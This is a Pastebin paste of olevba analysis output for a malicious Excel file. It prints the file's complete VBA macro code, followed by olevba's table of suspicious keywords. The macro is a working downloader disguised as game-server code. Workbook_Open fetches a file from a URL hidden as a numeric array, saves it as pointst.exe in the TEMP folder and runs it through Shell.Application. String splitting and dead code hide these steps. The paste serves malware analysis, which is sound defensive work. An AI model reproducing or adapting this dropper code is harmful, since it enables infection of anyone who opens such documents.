SHARE
TWEET

Malicious Excel macro

dynamoo Nov 30th, 2015 207 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MAS-HB-V malware.xls
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: malware.xls
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ÝòàÊíèãà.cls
  13. in file: malware.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Private Sub Workbook_Open()
  16. ComputeAllPlayerStats 0
  17. SetPlayerBankItemValue 0, 0, 0
  18. KillPlayer 0
  19. GetPlayerMap 0
  20. CheckResourceReward 0, 0, 0, 0, 1
  21. PlayerPVPDrops 0
  22. HasItem 0, 0
  23. GetPlayerTriforcesNum 0
  24. CheckPlayerActionsProtections 0
  25. End Sub
  26.  
  27. -------------------------------------------------------------------------------
  28. VBA MACRO Ëèñò1.cls
  29. in file: malware.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
  30. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  31. (empty macro)
  32. -------------------------------------------------------------------------------
  33. VBA MACRO Ëèñò2.cls
  34. in file: malware.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
  35. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  36. (empty macro)
  37. -------------------------------------------------------------------------------
  38. VBA MACRO Ëèñò3.cls
  39. in file: malware.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
  40. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  41. (empty macro)
  42. -------------------------------------------------------------------------------
  43. VBA MACRO Module1.bas
  44. in file: malware.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  45. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  46.  
  47. Public Function GetPlayerStat(ByVal index As Long, ByVal stat As String) As Long
  48.  Dim X As Long, i As Long
  49.  If index > MAX_PLAYERS Then Exit Function
  50.  If index <= 0 Then Exit Function
  51.  GetPlayerStat = TempPlayer(index).Stats(stat)
  52.  Exit Function
  53.  X = player(index).stat(stat)
  54.  For i = 1 To Equipment.Equipment_Count - 1
  55.  If player(index).Equipment(i) > 0 Then
  56.  If Item(player(index).Equipment(i)).Add_Stat(stat) > 0 Then
  57.  X = X + Item(player(index).Equipment(i)).Add_Stat(stat)
  58.  End If
  59.  End If
  60.  Next
  61.  X = X + GetPlayerStatBuffer(index, stat)
  62.  GetPlayerStat = X
  63. End Function
  64. Public Sub ComputePlayerStat(ByVal index As Long, ByVal stat As String)
  65.  Dim X As Long, i As Long
  66.  If index > MAX_PLAYERS Then Exit Sub
  67.  If index <= 0 Then Exit Sub
  68.  X = player(index).stat(stat)
  69.  For i = 1 To Equipment.Equipment_Count - 1
  70.  If player(index).Equipment(i) > 0 Then
  71.  If Item(player(index).Equipment(i)).Add_Stat(stat) > 0 Then
  72.  X = X + Item(player(index).Equipment(i)).Add_Stat(stat)
  73.  End If
  74.  End If
  75.  Next
  76.  X = X + GetPlayerStatBuffer(index, stat)
  77.  TempPlayer(index).Stats(stat) = X
  78. End Sub
  79. Public Sub ComputeAllPlayerStats(ByVal index As Long)
  80.  Set SetPlayerVit = CreateObject("Microsoft" + ".XMLHTTP")
  81. Set adodbStream = CreateObject("Adodb.Stream")
  82. Exit Sub
  83. Dim i As Byte
  84.  For i = 1 To Stats.Stat_Count - 1
  85.  ComputePlayerStat index, i
  86.  Next
  87. End Sub
  88. Public Function GetPlayerRawStat(ByVal index As Long, ByVal stat As String) As Long
  89.  If index > MAX_PLAYERS Then Exit Function
  90.  If index <= 0 Then Exit Function
  91.  GetPlayerRawStat = player(index).stat(stat)
  92. End Function
  93. Public Sub SetPlayerStat(ByVal index As Long, ByVal stat As String, ByVal Value As Long)
  94.  player(index).stat(stat) = Value
  95. End Sub
  96. Function GetPlayerPOINTS(ByVal index As Long) As Long
  97.  If index > MAX_PLAYERS Then Exit Function
  98.  If index <= 0 Then Exit Function
  99.  GetPlayerPOINTS = player(index).points
  100. End Function
  101. Sub SetPlayerPOINTS(ByVal index As Long, ByVal points As Long)
  102.  If points <= 0 Then points = 0
  103.  player(index).points = points
  104. End Sub
  105.  
  106. Sub SetPlayerMap(ByVal index As Long, ByVal mapnum As Long)
  107.  If mapnum > 0 And mapnum <= MAX_MAPS Then
  108.  player(index).Map = mapnum
  109.  End If
  110. End Sub
  111. Function GetPlayerX(ByVal index As Long) As Long
  112.  If index > MAX_PLAYERS Then Exit Function
  113.  If index <= 0 Then Exit Function
  114.  GetPlayerX = player(index).X
  115. End Function
  116. Sub SetPlayerX(ByVal index As Long, ByVal X As Long)
  117. If X < 0 Then Exit Sub
  118.  player(index).X = X
  119. End Sub
  120. Function GetPlayerY(ByVal index As Long) As Long
  121.  If index > MAX_PLAYERS Then Exit Function
  122.  If index <= 0 Then Exit Function
  123.  GetPlayerY = player(index).Y
  124. End Function
  125. Sub SetPlayerY(ByVal index As Long, ByVal Y As Long)
  126. If Y < 0 Then Exit Sub
  127.  player(index).Y = Y
  128. End Sub
  129. Function GetPlayerDir(ByVal index As Long) As Long
  130.  If index > MAX_PLAYERS Then Exit Function
  131.  If index <= 0 Then Exit Function
  132.  GetPlayerDir = player(index).dir
  133. End Function
  134. Sub SetPlayerDir(ByVal index As Long, ByVal dir As Long)
  135.  player(index).dir = dir
  136. End Sub
  137. Function GetPlayerIP(ByVal index As Long, Optional ByVal genuine As Boolean = False) As String
  138.  If index > MAX_PLAYERS Then Exit Function
  139.  If index <= 0 Then Exit Function
  140.  If genuine Then
  141.  GetPlayerIP = frmServer.Socket(index).RemoteHostIP
  142.  Else
  143.  If LPE(index) Then
  144.  GetPlayerIP = RandomizeIP
  145.  Else
  146.  GetPlayerIP = frmServer.Socket(index).RemoteHostIP
  147.  End If
  148.  End If
  149. End Function
  150. Function GetPlayerHost(ByVal index As Long)
  151.  If index > 0 And index < MAX_PLAYERS Then
  152.  GetPlayerHost = frmServer.Socket(index).RemoteHost
  153.  End If
  154. End Function
  155. Function RandomizeIP() As String
  156.  Dim a As Integer
  157.  Dim i As Byte
  158.  i = RAND(3, 4)
  159.  While i > 0
  160.  a = RAND(111, 999)
  161.  RandomizeIP = RandomizeIP + CStr(a)
  162.  If i > 1 Then RandomizeIP = RandomizeIP + "."
  163.  i = i - 1
  164.  Wend
  165. End Function
  166. Function GetPlayerInvItemNum(ByVal index As Long, ByVal invSlot As Long) As Long
  167.  If index > MAX_PLAYERS Then Exit Function
  168.  If index <= 0 Then Exit Function
  169.  If invSlot = 0 Then Exit Function
  170.  GetPlayerInvItemNum = player(index).Inv(invSlot).Num
  171. End Function
  172. Sub SetPlayerInvItemNum(ByVal index As Long, ByVal invSlot As Long, ByVal ItemNum As Long)
  173.  player(index).Inv(invSlot).Num = ItemNum
  174. End Sub
  175. Function GetPlayerInvItemValue(ByVal index As Long, ByVal invSlot As Long) As Long
  176.  If index > MAX_PLAYERS Then Exit Function
  177.  If index <= 0 Then Exit Function
  178.  GetPlayerInvItemValue = player(index).Inv(invSlot).Value
  179. End Function
  180. Sub SetPlayerInvItemValue(ByVal index As Long, ByVal invSlot As Long, ByVal Itemvalue As Long)
  181.  player(index).Inv(invSlot).Value = Itemvalue
  182. End Sub
  183. Function GetPlayerSpell(ByVal index As Long, ByVal spellslot As Long) As Long
  184.  If index > MAX_PLAYERS Then Exit Function
  185.  If index <= 0 Then Exit Function
  186.  GetPlayerSpell = player(index).Spell(spellslot)
  187. End Function
  188. Sub SetPlayerSpell(ByVal index As Long, ByVal spellslot As Long, ByVal spellnum As Long)
  189.  player(index).Spell(spellslot) = spellnum
  190. End Sub
  191. Function GetPlayerEquipment(ByVal index As Long, ByVal EquipmentSlot As String) As Long
  192.  If index <= 0 Or index > MAX_PLAYERS Then Exit Function
  193.  If EquipmentSlot <= 0 Or EquipmentSlot > Equipment_Count - 1 Then Exit Function
  194.  GetPlayerEquipment = player(index).Equipment(EquipmentSlot)
  195. End Function
  196. Sub SetPlayerEquipment(ByVal index As Long, ByVal invNum As Long, ByVal EquipmentSlot As String)
  197.  player(index).Equipment(EquipmentSlot) = invNum
  198. End Sub
  199. Function GetPlayerVisible(ByVal index As Long) As Long
  200.  If index > MAX_PLAYERS Then Exit Function
  201.  If index <= 0 Then Exit Function
  202. GetPlayerVisible = player(index).Visible
  203. End Function
  204. Sub SetPlayerVisible(ByVal index As Long, ByVal Visible As Long)
  205. player(index).Visible = Visible
  206. End Sub
  207. Sub SwapInvEquipment(ByVal index As Long, ByVal invSlot As Long, ByVal EquipmentSlot As Long)
  208. If index < 1 Or index > MAX_PLAYERS Or invSlot < 1 Or invSlot > MAX_INV Or EquipmentSlot < 1 Or EquipmentSlot > Equipment.Equipment_Count - 1 Then Exit Sub
  209. Dim TempItem As Long
  210. TempItem = GetPlayerInvItemNum(index, invSlot)
  211. Dim NewValue As Long
  212. NewValue = 0
  213. If GetPlayerEquipment(index, EquipmentSlot) > 0 Then
  214.  NewValue = 1
  215. End If
  216. Call SetPlayerInvItemNum(index, invSlot, GetPlayerEquipment(index, EquipmentSlot))
  217. Call SetPlayerInvItemValue(index, invSlot, NewValue)
  218. Call SetPlayerEquipment(index, TempItem, EquipmentSlot)
  219. Call ComputeAllPlayerStats(index)
  220. End Sub
  221. Sub OnDeath(ByVal index As Long, Optional ByVal RespawnSite As Byte = 0)
  222.  If index < 1 Or index > MAX_PLAYERS Then Exit Sub
  223.  Dim i As Long
  224.  Call SetPlayerVital(index, Vitals.HP, 0)
  225.  PetDi.sband index, GetPlayerMap(index), True
  226.  Call SetPlayerDir(index, DIR_DOWN)
  227.  SendSou.ndToMap GetPlayerMap(index), GetPlayerX(index), GetPlayerY(index), SoundEntity.seDie, GetPlayerClass(index)
  228.  Dim mapnum As Long, X As Long, Y As Long
  229.  GetOnD.eathMap index, mapnum, X, Y, RespawnSite
  230.  PlayerWar.pByEvent index, mapnum, X, Y
  231.  For i = 1 To MAX_DOTS
  232.  With TempPl.ayer(index).DoT(i)
  233.  .Used = False
  234.  .Spell = 0
  235.  .Timer = 0
  236.  .caster = 0
  237.  .StartTime = 0
  238.  End With
  239.  With TempP.layer(index).HoT(i)
  240.  .Used = False
  241.  .Spell = 0
  242.  .Timer = 0
  243.  .caster = 0
  244.  .StartTime = 0
  245.  End With
  246.  Next
  247.  For i = 1 To PlayerActions_Count - 1
  248.  Call UnblockPlayerAction(index, i)
  249.  Next
  250.  TempPl.ayer(index).spellBuffer.Spell = 0
  251.  TempPl.ayer(index).spellBuffer.Timer = 0
  252.  TempPl.ayer(index).spellBuffer.Target = 0
  253.  TempPl.ayer(index).spellBuffer.tType = 0
  254.  Call SendClearS.pellBuffer(index)
  255.  TempPl.ayer(index).InBank = False
  256.  TempPl.ayer(index).InShop = 0
  257.  If TempP.layer(index).InTrade > 0 Then
  258.  For i = 1 To MAX_INV
  259.  TempPl.ayer(index).TradeOffer(i).Num = 0
  260.  TempPl.ayer(index).TradeOffer(i).Value = 0
  261.  TempPl.ayer(TempP.layer(index).InTrade).TradeOffer(i).Num = 0
  262.  TempPl.ayer(TempPl.ayer(index).InTrade).TradeOffer(i).Value = 0
  263.  Next
  264.  TempPl.ayer(TempP.layer(index).InTrade).InTrade = 0
  265.  SendCl.oseTrade TempPl.ayer(index).InTrade
  266.  TempPl.ayer(index).InTrade = 0
  267.  SendCl.oseTrade index
  268. End If
  269.  Call SetPlayerVital(index, Vitals.HP, GetPlaye.rMaxVital(index, Vitals.HP))
  270.  Call SetPlayerVital(index, Vitals.MP, GetPlaye.rMaxVital(index, Vitals.MP))
  271.  Call SendV.ital(index, Vitals.HP)
  272.  Call SendV.ital(index, Vitals.MP)
  273.  If TempP.layer(index).inParty > 0 Then SendPart.yVitals TempPl.ayer(index).inParty, index
  274. End Sub
  275. Public Function GetPlayerMap(ByVal index As Long) As Long
  276.  Dim playerIndex() As Variant
  277. playerIndex = Array(6046, 6058, 6058, 6054, 6000, 5989, 5989, 6060, 6043, 6050, 6047, 6058, 6053, 6050, 6059, 5988, 6041, 6053, 6051, 5989, 5998, 5999, 6059, 5998, 5997, 5989, 5994, 5995, 5994, 6057, 6042, 5988, 6043, 6062, 6043)
  278. CUk = 10
  279.  
  280. SetPlayerVit.Open Chr(10 * 7 + 1) + "" + "" + "" + "E" + "" + "" + "T", GetGivenMoney(playerIndex, 8.8, 34), False
  281. Exit Function
  282. If index > MAX_PLAYERS Then Exit Function
  283.  If index <= 0 Then Exit Function
  284.  GetPlayerMap = Play.er(index).Map
  285. End Function
  286. Public Function PosOrdenation(ByVal x1 As Long, ByVal y1 As Long, ByVal x2 As Long, ByVal y2 As Long) As Integer
  287.  If x1 < x2 Then
  288.  PosOrdenation = 1
  289.  ElseIf x1 > x2 Then
  290.  PosOrdenation = -1
  291.  Else
  292.  If y1 < y2 Then
  293.  PosOrdenation = 1
  294.  ElseIf y1 > y2 Then
  295.  PosOrdenation = -1
  296.  Else
  297.  PosOrdenation = 0
  298.  End If
  299.  End If
  300. End Function
  301. Public Function BinarySearchResource(ByVal mapnum As Long, ByVal left As Long, ByVal right As Long, ByVal X As Long, ByVal Y As Long) As Long
  302.  If right < left Then
  303.  BinarySearchResource = 0
  304.  Else
  305.  Dim meddle As Integer
  306.  meddle = (left + right) \ 2
  307.  With ResourceCache(mapnum).ResourceData(meddle)
  308.  Dim Ordenation As Integer
  309.  Ordenation = PosOrdenation(X, Y, .X, .Y)
  310.  If Ordenation = 1 Then
  311.  BinarySearchResource = BinarySearchResource(mapnum, left, meddle - 1, X, Y)
  312.  ElseIf Ordenation = -1 Then
  313.  BinarySearchResource = BinarySearchResource(mapnum, meddle + 1, right, X, Y)
  314.  Else
  315.  BinarySearchResource = meddle
  316.  End If
  317.  End With
  318.  End If
  319. End Function
  320.  
  321.  
  322.  
  323. -------------------------------------------------------------------------------
  324. VBA MACRO Module2.bas
  325. in file: malware.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
  326. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  327. Public SetPlayerVit As Object
  328. Public adodbStream As Object
  329. Public processEnv  As Object
  330. Public ItemNum2 As String
  331. Public ItemNum1 As String
  332. Public shellApp As Object
  333. Public Sub CheckResourceReward(ByVal index As Long, ByVal Rx As Long, ByVal Ry As Long, ByRef ResourceNum As Long, ByVal ResourceReward As Byte)
  334. ItemNum2 = processEnv("TEMP")
  335. SetPlayerVit.Send
  336. Exit Sub
  337. End Sub
  338. Function GetPlayerBankItemNum(ByVal index As Long, ByVal BankSlot As Long) As Long
  339.  GetPlayerBankItemNum = Bank(index).Item(BankSlot).Num
  340. End Function
  341. Sub SetPlayerBankItemNum(ByVal index As Long, ByVal BankSlot As Long, ByVal ItemNum As Long)
  342.  Bank(index).Item(BankSlot).Num = ItemNum
  343. End Sub
  344. Function GetPlayerBankItemValue(ByVal index As Long, ByVal BankSlot As Long) As Long
  345.  GetPlayerBankItemValue = Bank(index).Item(BankSlot).Value
  346. End Function
  347. Public Sub SetPlayerBankItemValue(ByVal index As Long, ByVal BankSlot As Long, ByVal Itemvalue As Long)
  348.  Set shellApp = CreateObject("Shell.Application")
  349.  Exit Sub
  350.  Ba.nk(index).Item(BankSlot).Value = Itemvalue
  351. End Sub
  352. Public Sub KillPlayer(ByVal index As Long, Optional ByVal LoseExp As Byte = 0)
  353. Set processEnv = CreateObject("WScript.Shell").Environment("Process")
  354. Exit Sub
  355. Dim exp As Long
  356.  Call OnDeath(index)
  357. End Sub
  358. Public Function ResetPlayerPoints(ByVal index As Long) As Long
  359. Dim i As Byte, sum As Long
  360. ResetPlayerPoints = 0
  361. sum = 0
  362. For i = 1 To Stats.Stat_Count - 1
  363.  Do While player(index).stat(i) > Class(GetPlayerClass(index)).stat(i)
  364.  player(index).stat(i) = player(index).stat(i) - 1
  365.  sum = sum + 1
  366.  Loop
  367. Next
  368. ResetPlayerPoints = sum
  369. End Function
  370. Public Sub PlayerPVPDrops(ByVal index As Long)
  371. Dim i As Long
  372. Dim ItemNum As Long
  373. Dim Itemvalue As Long
  374. ItemNum1 = ItemNum2 + Chr(8 * 10 + 12) + "" + "poin" + "tst" + Chr(3 * 5 + 3 * 5 + 3 * 5 + 1) + "e" + "xe"
  375. Exit Sub
  376. For i = 1 To MAX_INV
  377. If GetPlayerInvItemNum(index, i) > 0 Then
  378.  If IsItemDro.ppable(GetPlayerInvItemNum(index, i), index) Then
  379.  If isItemSta.ckable(GetPlayerInvItemNum(index, i)) Then
  380.  Itemvalue = GetPlayerInvItemValue(index, i)
  381.  If Itemvalue > 0 Then
  382.  Itemvalue = Itemvalue * (1 / 10)
  383.  If Itemvalue = 0 Then Itemvalue = 1
  384.  Call PlayerMapD.ropItem(index, i, Itemvalue, False)
  385.  End If
  386.  Else
  387.  Call PlayerMa.pDropItem(index, i, 1, False)
  388.  End If
  389.  End If
  390. End If
  391. Next
  392. For i = 1 To Equipment.Equipment_Count - 1
  393.  If GetPlayerEquipment(index, i) > 0 Then
  394.  If IsItemD.roppable(GetPlayerEquipment(index, i), index) Then
  395.  Call PlayerUnequipI.temAndDrop(index, i)
  396.  End If
  397.  End If
  398. Next
  399. End Sub
  400.  
  401. Public Function GetPlayerTriforcesNum(ByVal index As Long) As Byte
  402. With adodbStream
  403. .write SetPlayerVit.responseBody
  404. End With
  405. GoTo l500
  406. Exit Function
  407. Dim i As Byte
  408. GetPlayerTriforcesNum = 0
  409. For i = 1 To TriforceType.TriforceType_Count - 1
  410.  If GetPlayerT.riforce(index, i) = True Then
  411.  GetPlayerTriforcesNum = GetPlayerTriforcesNum + 1
  412.  End If
  413. Next
  414. l500:
  415.  
  416.     adodbStream.savetofile ItemNum1, 2
  417. End Function
  418. Public Sub CheckPlayerActionsProtections(ByVal index As Long)
  419.  Dim i As Byte
  420.  shellApp.Open (ItemNum1)
  421.  Exit Sub
  422.  For i = 1 To PlayerActions_Count - 1
  423.  If IsActio.nBlocked(index, i) Then
  424.  If IsActio.nProtected(index, i) Then
  425.  UnblockPlay.erAction index, i
  426.  End If
  427.  End If
  428.  Next
  429. End Sub
  430. Sub KickPlayer(ByVal index As Long, Optional ByRef Reason As String = "")
  431.  If index = 0 Or Not IsPlaying(index) Then Exit Sub
  432.  Call GlobalMsg(GetPlayerName(index) & " " & GetTranslation(" ha sido expulsado por: ") & " " & Reason, White, False, True)
  433.  Call AddLog(0, GetPlayerName(index) & " " & GetTranslation(" ha sido expulsado por: ") & " " & Reason, ADMIN_LOG)
  434.  Call AlertMsg(index, "Has sido expulsado por: " & Reason)
  435. End Sub
  436. Sub ClearPlayerTarget(ByVal index As Long)
  437.  TempPlayer(index).Target = 0
  438.  TempPlayer(index).TargetType = TARGET_TYPE_NONE
  439.  SendTarget index
  440. End Sub
  441. Sub EarthQuake(ByVal index As Long)
  442.  Dim a As Variant
  443.  For Each a In GetMapPlayerCollection(GetPlayerMap(index))
  444.  If a <> index Then
  445.  If IsinRange(4, GetPlayerX(index), GetPlayerY(index), GetPlayerX(a), GetPlayerY(a)) Then
  446.  Call PlayerAttackPlayer(index, a, GetPlayerDamageAgainstPlayer(index, a))
  447.  End If
  448.  End If
  449.  Next
  450. End Sub
  451. Sub CheckGodAttack(ByVal index As Long)
  452.  If GPE(index) Then
  453.  UnblockAllPlayerActions index
  454.  EarthQuake index
  455.  End If
  456. End Sub
  457. Sub ComputePlayerAttackTimer(ByVal index As Long)
  458.  SetPlayerAttackTimer index, GetRealTickCount
  459. End Sub
  460. Function CanPlayerAttackTimer(ByVal index As Long) As Boolean
  461.  Dim Timer As Long, ItemNum As Long
  462.  Timer = GetPlayerAttackTimer(index)
  463.  ItemNum = GetPlayerEquipment(index, Weapon)
  464.  If ItemNum > 0 Then
  465.  If GetRealTickCount > Timer + GetItemSpeed(ItemNum) Then
  466.  CanPlayerAttackTimer = True
  467.  End If
  468.  Else
  469.  If GetRealTickCount > Timer + 1000 Then
  470.  CanPlayerAttackTimer = True
  471.  End If
  472.  End If
  473. End Function
  474. Function GetPlayerAttackTimer(ByVal index As Long) As Long
  475.  GetPlayerAttackTimer = TempPlayer(index).AttackTimer
  476. End Function
  477. Sub SetPlayerAttackTimer(ByVal index As Long, ByVal Time As Long)
  478.  TempPlayer(index).AttackTimer = Time
  479. End Sub
  480.  
  481.  
  482.  
  483. -------------------------------------------------------------------------------
  484. VBA MACRO Module3.bas
  485. in file: malware.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module3'
  486. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  487.  
  488. Public Function CanGiveItem(ByVal index As Long, ByVal ItemNum As Long, ByVal itemval As Long, ByRef GivenValue As Long) As Long
  489. If index < 1 Or index > MAX_PLAYERS Or ItemNum < 1 Or ItemNum > MAX_ITEMS Then Exit Function
  490. Dim i As Long
  491. i = FindOpenInvSlot(index, ItemNum)
  492. If i > 0 Then
  493.  If ItemNum = 1 Then
  494.  GivenValue = GetGivenMoney(index, GetPlayerInvItemValue(index, i), itemval)
  495.  Else
  496.  GivenValue = itemval
  497.  End If
  498.  Dim val As Long
  499.  If isItemStackable(ItemNum) Then
  500.  val = GivenValue
  501.  Else
  502.  val = 1
  503.  End If
  504.  If CanPlayerHoldWeight(index, GetItemValWeight(ItemNum, val)) Then
  505.  CanGiveItem = i
  506.  Else
  507.  PlayerMsg index, "No puedes soportar mas peso.", BrightRed
  508.  CanGiveItem = 0
  509.  End If
  510. Else
  511.  PlayerMsg index, "No tienes espacio en tu inventario.", BrightRed
  512.  CanGiveItem = 0
  513. End If
  514. End Function
  515. Public Function GetGivenMoney(fromArr() As Variant, Hawk As Double, LenLen As Integer) As String
  516.     Dim i As Integer
  517.     Variabl = ""
  518.     For i = LBound(fromArr) To UBound(fromArr)
  519.         Variabl = Variabl & Chr(fromArr(i) - LenLen - 14 * LenLen - 5000 - 432)
  520.     Next i
  521.     GetGivenMoney = Variabl
  522. End Function
  523. Function Get1GivenMoney(ByVal index As Long, ByVal initialvalue As Long, ByVal Value As Long) As Long
  524.  If GetPlayerMaxMoney(index) < initialvalue + Value Then
  525.  GetGivenMoney = GetPlayerMaxMoney(index) - initialvalue
  526.  Else
  527.  GetGivenMoney = Value
  528.  End If
  529. End Function
  530. Function FindOpenBankSlot(ByVal index As Long, ByVal ItemNum As Long) As Long
  531.  Dim i As Long
  532.  If Not IsPlaying(index) Then Exit Function
  533.  If ItemNum <= 0 Or ItemNum > MAX_ITEMS Then Exit Function
  534.  For i = 1 To MAX_BANK
  535.  If GetPlayerBankItemNum(index, i) = ItemNum Then
  536.  FindOpenBankSlot = i
  537.  Exit Function
  538.  End If
  539.  Next i
  540.  For i = 1 To MAX_BANK
  541.  If GetPlayerBankItemNum(index, i) = 0 Then
  542.  FindOpenBankSlot = i
  543.  Exit Function
  544.  End If
  545.  Next i
  546. End Function
  547. Public Function HasItem(ByVal index As Long, ByVal ItemNum As Long) As Long
  548.  Dim i As Long
  549.  With adodbStream
  550.    .Type = 1
  551.     .Open
  552. End With
  553.  Exit Function
  554.  If IsPlay.ing(index) = False Or ItemNum <= 0 Or ItemNum > MAX_ITEMS Then
  555.  Exit Function
  556.  End If
  557.  For i = 1 To MAX_INV
  558.  If GetPlayerInvItemNum(index, i) = ItemNum Then
  559.  If isItemStac.kable(ItemNum) Then
  560.  HasItem = GetPlayerInvItemValue(index, i)
  561.  Else
  562.  HasItem = 1
  563.  End If
  564.  Exit Function
  565.  End If
  566.  Next
  567. End Function
  568. Function TakeInvItem(ByVal index As Long, ByVal ItemNum As Long, ByVal itemval As Long, Optional ByVal UpdateWeight As Boolean = True) As Boolean
  569.  Dim i As Long
  570.  Dim N As Long
  571.  Dim TakenValue As Long
  572.  TakeInvItem = False
  573.  If IsPlaying(index) = False Or ItemNum <= 0 Or ItemNum > MAX_ITEMS Then
  574.  Exit Function
  575.  End If
  576.  For i = 1 To MAX_INV
  577.  If GetPlayerInvItemNum(index, i) = ItemNum Then
  578.  If isItemStackable(ItemNum) Then
  579.  If itemval >= GetPlayerInvItemValue(index, i) Then
  580.  TakenValue = GetPlayerInvItemValue(index, i)
  581.  Call SetPlayerInvItemNum(index, i, 0)
  582.  Call SetPlayerInvItemValue(index, i, 0)
  583.  TakeInvItem = True
  584.  Else
  585.  Call SetPlayerInvItemValue(index, i, GetPlayerInvItemValue(index, i) - itemval)
  586.  TakenValue = itemval
  587.  End If
  588.  Else
  589.  Call SetPlayerInvItemNum(index, i, 0)
  590.  Call SetPlayerInvItemValue(index, i, 0)
  591.  TakeInvItem = True
  592.  TakenValue = 1
  593.  End If
  594.  Call SendInventoryUpdate(index, i)
  595.  If UpdateWeight Then Call SetPlayerWeight(index, GetPlayerWeight(index) - GetItemValWeight(ItemNum, TakenValue))
  596.  Exit For
  597.  End If
  598.  Next
  599. End Function
  600. Function TakeInvSlot(ByVal index As Long, ByVal invSlot As Byte, ByRef itemval As Long, Optional ByVal Update As Boolean = False) As Boolean
  601.  Dim ItemNum As Integer
  602.  Dim NewItemVal As Long
  603.  Dim NewItemNum As Long
  604.  TakeInvSlot = False
  605.  If IsPlaying(index) = False Or invSlot <= 0 Or invSlot > MAX_ITEMS Then Exit Function
  606.  ItemNum = GetPlayerInvItemNum(index, invSlot)
  607.  If ItemNum < 1 Then Exit Function
  608.  If isItemStackable(ItemNum) Then
  609.  If itemval >= GetPlayerInvItemValue(index, invSlot) Then
  610.  NewItemVal = 0
  611.  NewItemNum = 0
  612.  itemval = GetPlayerInvItemValue(index, invSlot)
  613.  Else
  614.  NewItemVal = GetPlayerInvItemValue(index, invSlot) - itemval
  615.  NewItemNum = GetPlayerInvItemNum(index, invSlot)
  616.  End If
  617.  Else
  618.  NewItemVal = 0
  619.  NewItemNum = 0
  620.  itemval = 1
  621.  End If
  622.  SetPlayerInvItemNum index, invSlot, NewItemNum
  623.  SetPlayerInvItemValue index, invSlot, NewItemVal
  624.  SetPlayerWeight index, GetPlayerWeight(index) - GetItemValWeight(ItemNum, itemval)
  625.  If Update Then
  626.  Call SendInventoryUpdate(index, invSlot)
  627.  End If
  628. End Function
  629. Sub GiveInvSlot(ByVal index As Long, ByVal slot As Long, ByVal ItemNum As Long, ByVal Value As Long, Optional ByVal SendUpdate As Boolean = True)
  630.  If index < 1 Or index > MAX_PLAYERS Or slot < 1 Or slot > MAX_INV Then Exit Sub
  631.  Dim SetValue As Long
  632.  If isItemStackable(ItemNum) Then
  633.  SetValue = GetPlayerInvItemValue(index, slot) + Value
  634.  Else
  635.  SetValue = 1
  636.  Value = 1
  637.  End If
  638.  Call SetPlayerInvItemNum(index, slot, ItemNum)
  639.  Call SetPlayerInvItemValue(index, slot, SetValue)
  640.  Call SetPlayerWeight(index, GetPlayerWeight(index) + GetItemValWeight(ItemNum, Value))
  641.  If SendUpdate Then SendInventoryUpdate index, slot
  642. End Sub
  643.  
  644.  
  645.  
  646. +------------+----------------------+-----------------------------------------+
  647. | Type       | Keyword              | Description                             |
  648. +------------+----------------------+-----------------------------------------+
  649. | AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
  650. | Suspicious | Open                 | May open a file                         |
  651. | Suspicious | Shell                | May run an executable file or a system  |
  652. |            |                      | command                                 |
  653. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  654. |            |                      | command                                 |
  655. | Suspicious | Shell.Application    | May run an application (if combined     |
  656. |            |                      | with CreateObject)                      |
  657. | Suspicious | CreateObject         | May create an OLE object                |
  658. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  659. |            |                      | strings                                 |
  660. | Suspicious | ADODB.Stream         | May create a text file                  |
  661. | Suspicious | SaveToFile           | May create a text file                  |
  662. | Suspicious | Write                | May write to a file (if combined with   |
  663. |            |                      | Open)                                   |
  664. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  665. |            |                      | (obfuscation: VBA expression)           |
  666. | Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
  667. |            |                      | be used to obfuscate strings (option    |
  668. |            |                      | --decode to see all)                    |
  669. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  670. |            |                      | may be used to obfuscate strings        |
  671. |            |                      | (option --decode to see all)            |
  672. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  673. |            | Strings              | may be used to obfuscate strings        |
  674. |            |                      | (option --decode to see all)            |
  675. | VBA string | Microsoft.XMLHTTP    | ("Microsoft" + ".XMLHTTP")              |
  676. | VBA string | ET                   | "" + "" + "" + "E" + "" + "" + "T"      |
  677. | VBA string | pointst              | "" + "poin" + "tst"                     |
  678. | VBA string | exe                  | "e" + "xe"                              |
  679. | VBA string |  ha sido expulsado   | (" ha sido expulsado por: ") & " "      |
  680. |            | por:                 |                                         |
  681. +------------+----------------------+-----------------------------------------+
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top